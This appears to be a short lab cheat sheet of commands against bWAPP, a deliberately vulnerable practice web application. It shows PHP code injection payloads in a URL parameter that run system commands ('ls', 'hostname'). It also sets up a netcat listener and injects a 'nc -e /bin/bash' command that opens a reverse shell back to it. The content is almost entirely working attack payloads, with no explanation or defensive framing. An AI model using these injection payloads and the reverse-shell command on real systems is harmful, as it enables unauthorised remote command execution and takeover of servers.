Commands
Listen for a connection
nc -lvp 4444
list the files
http://192.168.20.131/bWAPP/phpi.php?message=system('ls')
view the hostname
http://192.168.20.131/bWAPP/phpi.php?message=system('hostname')
Make a connection to the remote host
http://192.168.20.131/bWAPP/phpi.php?message=system('nc -vn 192.168.20.131 4444 -e /bin/bash')
